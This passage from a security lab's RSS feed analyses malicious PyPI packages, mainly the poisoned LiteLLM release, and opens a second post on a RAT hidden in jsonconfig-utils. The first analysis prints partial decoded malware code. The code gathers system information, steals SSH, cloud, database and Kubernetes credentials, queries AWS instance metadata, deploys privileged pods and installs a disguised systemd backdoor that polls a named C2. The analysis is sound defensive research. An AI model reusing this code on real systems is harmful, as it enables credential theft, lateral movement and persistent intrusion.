class="code-snippet__keyword">pass</span></span></code><br/></pre></p><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">从中我们可以看到，攻击者使用RSA公钥加密会话密钥，通过AES-256-CBC加密窃取的数据，最终打包为tar.gz并通过curl外传到 https[:]//models.litellm.cloud/,其为攻击者控制的一个网址。 其具体执行的恶意代码，仍然被base64编码混淆，再次反混淆后，我们得到了最终的攻击脚本，如下所示。</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__keyword">import</span> os,sys,stat,subprocess,glob</span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf="">run(<span class="code-snippet__string">&#39;hostname; pwd; whoami; uname -a; ip addr 2&gt;/dev/null || ifconfig 2&gt;/dev/null; ip route 2&gt;/dev/null&#39;</span>)</span></code><br/><code><span leaf="">run(<span class="code-snippet__string">&#39;printenv&#39;</span>)</span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> h <span class="code-snippet__keyword">in</span> homes+[<span class="code-snippet__string">&#39;/root&#39;</span>]:</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> f <span class="code-snippet__keyword">in</span> [<span class="code-snippet__string">&#39;/.ssh/id_rsa&#39;</span>,<span class="code-snippet__string">&#39;/.ssh/id_ed25519&#39;</span>,<span class="code-snippet__string">&#39;/.ssh/id_ecdsa&#39;</span>,<span class="code-snippet__string">&#39;/.ssh/id_dsa&#39;</span>,<span class="code-snippet__string">&#39;/.ssh/authorized_keys&#39;</span>,<span class="code-snippet__string">&#39;/.ssh/known_hosts&#39;</span>,<span class="code-snippet__string">&#39;/.ssh/config&#39;</span>]:</span></code><br/><code><span leaf="">emit(h+f)</span></code><br/><code><span leaf="">walk([h+<span class="code-snippet__string">&#39;/.ssh&#39;</span>],<span class="code-snippet__number">2</span>,<span class="code-snippet__keyword">lambda</span> fp,fn:<span class="code-snippet__literal">True</span>)</span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf="">emit(<span class="code-snippet__string">&#39;/var/lib/postgresql/.pgpass&#39;</span>)</span></code><br/><code><span leaf="">emit(<span class="code-snippet__string">&#39;/etc/mysql/my.cnf&#39;</span>)</span></code><br/><code><span leaf="">emit(<span class="code-snippet__string">&#39;/etc/redis/redis.conf&#39;</span>)</span></code><br/><code><span leaf="">...</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">具体攻击逻辑如下：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf=""><span textstyle="" style="font-size: 16px;">1.系统信息收集</span></span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__title">run</span>(<span class="code-snippet__string">&#39;hostname; pwd; whoami; uname -a; ip addr...&#39;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__title">run</span>(<span class="code-snippet__string">&#39;printenv&#39;</span>)</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf=""><span textstyle="" style="font-size: 16px;">1.多维度凭据窃取</span></span></strong></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">SSH密钥: ~/.ssh/id_rsa, id_ed25519, authorized_keys等</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">云服务凭据: AWS（/.aws/credentials)、GCP(</span><span leaf="">/.config/gcloud)、Azure(~/.azure)</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">Kubernetes: /var/run/secrets/kubernetes.io/serviceaccount/token,</span><span leaf=""><br/></span><span leaf="">kubeconfig等</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">数据库: .pgpass, .my.cnf, Redis/Mongo配置</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">Docker: ~/.docker/config.json</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">加密货币钱包: Bitcoin、Ethereum、Solana等密钥文件</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf=""><span textstyle="" style="font-size: 16px;">3.AWS凭据深度利用</span></span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf=""><span textstyle="" style="font-size: 16px;">通过IMDSv2获取实例角色临时凭据，并调用Secrets Manager和SSM Parameter Store：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">tkn_req</span>=urllib.request.Request(<span class="code-snippet__string">&#39;http[:]//169.254.169.254/latest/api/token&#39;</span>, ...)</span></code><br/><code><span leaf=""><span class="code-snippet__attr">cred_req</span>=urllib.request.Request(<span class="code-snippet__string">&#39;http[:]//169.254.169.254/latest/meta-data/iam/s</span></span></code><br/><code><span leaf="">ecurity-credentials/&#39;, ...)</span></code><br/><code><span leaf=""><span class="code-snippet__attr">sm</span>=aws_req(<span class="code-snippet__string">&#39;POST&#39;</span>,<span class="code-snippet__string">&#39;secretsmanager&#39;</span>,REG,<span class="code-snippet__string">&#39;/&#39;</span>,<span class="code-snippet__string">&#39;Action=ListSecrets&#39;</span>,...)</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">4.Kubernetes集群渗透</span></strong><span leaf=""><br/></span><span leaf="">利用ServiceAccount Token横向移动，枚举全集群Secrets，并在每个节点部署特权Pod实现持久化：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf="">pod_manifest={</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#39;hostPID&#39;</span>:<span class="code-snippet__literal">True</span>,<span class="code-snippet__string">&#39;hostNetwork&#39;</span>:<span class="code-snippet__literal">True</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#39;tolerations&#39;</span>:[{<span class="code-snippet__string">&#39;operator&#39;</span>:<span class="code-snippet__string">&#39;Exists&#39;</span>}],</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#39;securityContext&#39;</span>:{<span class="code-snippet__string">&#39;privileged&#39;</span>:<span class="code-snippet__literal">True</span>},</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#39;volumeMounts&#39;</span>:[{<span class="code-snippet__string">&#39;name&#39;</span>:<span class="code-snippet__string">&#39;host&#39;</span>,<span class="code-snippet__string">&#39;mountPath&#39;</span>:<span class="code-snippet__string">&#39;/host&#39;</span>}]</span></code><br/><code><span leaf="">}</span></code><br/><code><span leaf="">k8s_post(<span class="code-snippet__string">&#39;/api/v1/namespaces/kube-system/pods&#39;</span>,pod_manifest)</span></code><br/></pre></p><p><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">5.持久化机制</span></strong><span leaf=""><br/></span><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf="">通过systemd用户服务安装后门，定期从C2 (checkmarx.zone) 获取指令：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">PERSIST_B64</span>=<span class="code-snippet__string">&#39;aW1wb3J0IHVybGxpYi5yZXF1ZXN0...&#39;</span>  <span class="code-snippet__comment"># 解码后为下载执行器</span></span></code></pre></p><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">创建 ~/.config/sysmon/sysmon.py 和 systemd服务</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">subprocess<span class="code-snippet__selector-class">.run</span>(<span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#39;systemctl&#39;</span></span><span class="code-snippet__selector-attr">,</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#39;--user&#39;</span></span><span class="code-snippet__selector-attr">,</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#39;enable&#39;</span></span><span class="code-snippet__selector-attr">,</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#39;--now&#39;</span></span><span class="code-snippet__selector-attr">,</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#39;sysmon.service&#39;</span></span><span class="code-snippet__selector-attr">]</span>)</span></code></pre></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 20px;">3.3 攻击总结</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该样本为<span textstyle="" style="font-weight: bold;">云原生环境下的高级持续性威胁(APT)</span>工具，具备以下特征：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">针对多云平台(AWS/GCP/Azure/K8s)的凭据窃取</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">利用容器逃逸和特权Pod实现集群内横向移动</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">加密外传+后门持久化的完整攻击链</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">伪装成”System Telemetry Service”隐藏痕迹</span></p></li></ul><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4. 总结</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此次针对 LiteLLM 的 PyPI 供应链投毒事件，再次暴露了当前 AI 生态在安全层面的脆弱性。尽管 AI 正在深刻改变我们的工作方式与生活模式，但其底层仍依赖于由大量基础代码构成的工具链，例如 agent、MCP 等组件。一旦其中任意环节遭到攻击，影响便可能迅速放大，给用户带来难以估量的损失。与此同时，AI 系统正逐渐具备更高权限，能够自动执行代码、下载并安装依赖，这在提升效率的同时，也显著扩大了潜在攻击面。在这样的背景下，安全责任的边界变得愈发模糊：是依赖平台治理、开发者自律，还是需要引入以 AI 对抗 AI 的自动化防御机制，这些都值得深入思考。此外，密钥窃取问题尤为值得警惕。一旦攻击者获取有效凭证，便可持续扩大攻击范围，形成连锁风险。因此，密钥管理与访问控制同样应成为 AI 供应链安全的重要防线。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">AI 正如一列高速飞驰的列车，推动社会不断向前发展。但若忽视其底层结构的安全隐患，哪怕是一个看似不起眼的“轴承”出现问题，也可能带来系统性的风险。如何在加速创新的同时筑牢安全底座，将是未来 AI 发展过程中必须正视的关键课题。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">恶意包列表</span></h1><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.178125" data-s="300,640" data-type="png" data-w="1280" style="width:569px;height:101px;" type="block" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/QSjGzxHEMdvLndA4m2SlibDqwAMZ4vFeCHWlsGaCIau2KVTLSGsg9m6O7JQYqVx8V3kk7IxicxQ1JZ8S8D4W4IsX1MvZXZqwJJLKKD1BKtUoo/0?wx_fmt=png&amp;from=appmsg" data-cropx1="16.546712802768166" data-cropx2="1585.7266435986157" data-cropy1="63.42906574394464" data-cropy2="341.96539792387546" data-imgfileid="100005449" src="https://wechat2rss.xlab.app/img-proxy/?k=a4cc9afb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdsBgX2hKDSK5v7yib983MQBcIQNqJQBgNpMntcLgbHqXkRjhPenXeVwZXzDqhwDPhSWwYxVhvfqibSRvbqr6LPAZlgCInXELRS70%2F640%3Fwx_fmt%3Djpeg"/></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">参考文献</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">[1] Supply Chain Attack in litellm 1.82.8 on PyPI. <a href="https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/" target="_blank">https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/</a></span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">[2] How a Poisoned Security Scanner Became the Key to Backdooring LiteLLM. <a href="http://snyk.io/articles/poisoned-security-scanner-backdooring-litellm/" target="_blank">http://snyk.io/articles/poisoned-security-scanner-backdooring-litellm/</a></span></p><div data-tools-id="43686" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;text-align: start;white-space: normal;overflow: hidden;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;word-break: break-all !important;visibility: visible;" data-pm-slice="0 0 []"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;flex-direction: column;word-break: break-all !important;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border: 1px solid rgb(85, 111, 181);word-break: break-all !important;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 23px 16px 21px 20px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(238, 238, 238);word-break: break-all !important;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;word-break: break-all !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;font-family: 仿宋, FangSong;word-break: break-all !important;"><span leaf="">   <span textstyle="" style="font-size: 16px;color: rgb(94, 84, 84);">星图实验室隶属于奇安信技术研究院，专注于软件与系统安全的核心技术研究与系统平台研发，对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。</span></span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;word-break: break-all !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;font-family: 仿宋, FangSong;word-break: break-all !important;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(94, 84, 84);">    我们目前正在招聘，工作地点覆盖北京、南京、成都等城市，详情请参见：<a href="https://research.qianxin.com/recruitment/" target="_blank">https://research.qianxin.com/recruitment/</a></span></span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7e6fb145&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489103%26idx%3D1%26sn%3D39ae7bae786321759df68d3e5ea15876">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 25 Mar 2026 20:37:00 +0800</pubDate>
    </item>
    <item>
      <title>【天问】PyPI 恶意包分析：jsonconfig-utils 内置 RAT 后门及多平台持久化</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489077&amp;idx=1&amp;sn=10b43bea80dfb77b171d5da8b83fa3ca</link>
      <description>天问Python供应链威胁监测模块发现 PyPI 中存在恶意包 jsonconfig-utils，该包以 JSON 配置工具为掩护，在 setup.py 中内嵌了完整攻击链。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-03-03 18:06</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=25771a43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdvfQx76iaTNCzxoHcQ20IqWMjasVYOrhVYUC49MJKnFb3oyBCjej2yMT4YINPoTnAe8U14R40iakJKxZ9ddZOKWwPiaRuT4jmbmKY%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">天问Python供应链威胁监测模块发现 PyPI 中存在恶意包 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">jsonconfig-utils</span></code><span leaf="">，该包以 JSON 配置工具为掩护，在 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf=""> 中内嵌了完整攻击链。攻击者在安装阶段即可完成反沙箱检测、解密并落地 RAT（远程访问木马）载荷、以及跨平台持久化驻留，最终与 C2 服务器建立加密通信，实现对受害主机的远程控制。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“天问”软件供应链安全分析平台是奇安信技术研究星图实验室研发的针对 Python、npm 等主流开发生态进行长期持续监测的安全分析平</span><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">台。</span></span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">1. 包基本信息</span></h1><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.33359375" data-s="300,640" data-type="png" data-w="1280" style="width:578px;height:193px;" type="block" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/QSjGzxHEMduxcKWavTJhqUVIC5UkuTnoNo31jTQbkYVyicOrQtnB5D8clGCoYjMgp1apTnt05MuvSRdTBYRcxIcibkXpBRc1Ots481icHvVdsI/0?wx_fmt=png&amp;from=appmsg" data-cropx2="1562" data-cropy1="72.96539792387543" data-cropy2="594.5328719723183" data-imgfileid="100005405" src="https://wechat2rss.xlab.app/img-proxy/?k=70f1a880&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdsshucv4toVFgKxB3OpFd8wwI938uLw1AelOPkibCuAZJuiaz58cmRGsKESTvxicf2b0wjpoicz877hVsEml0SZDHqV7zjuwic1Il7Y%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">该包声称是”轻量级JSON配置加载器”，其主模块 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">jsonconfig_utils.py</span></code><span leaf=""> 中确实实现了 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">load_config</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">ConfigDict</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, 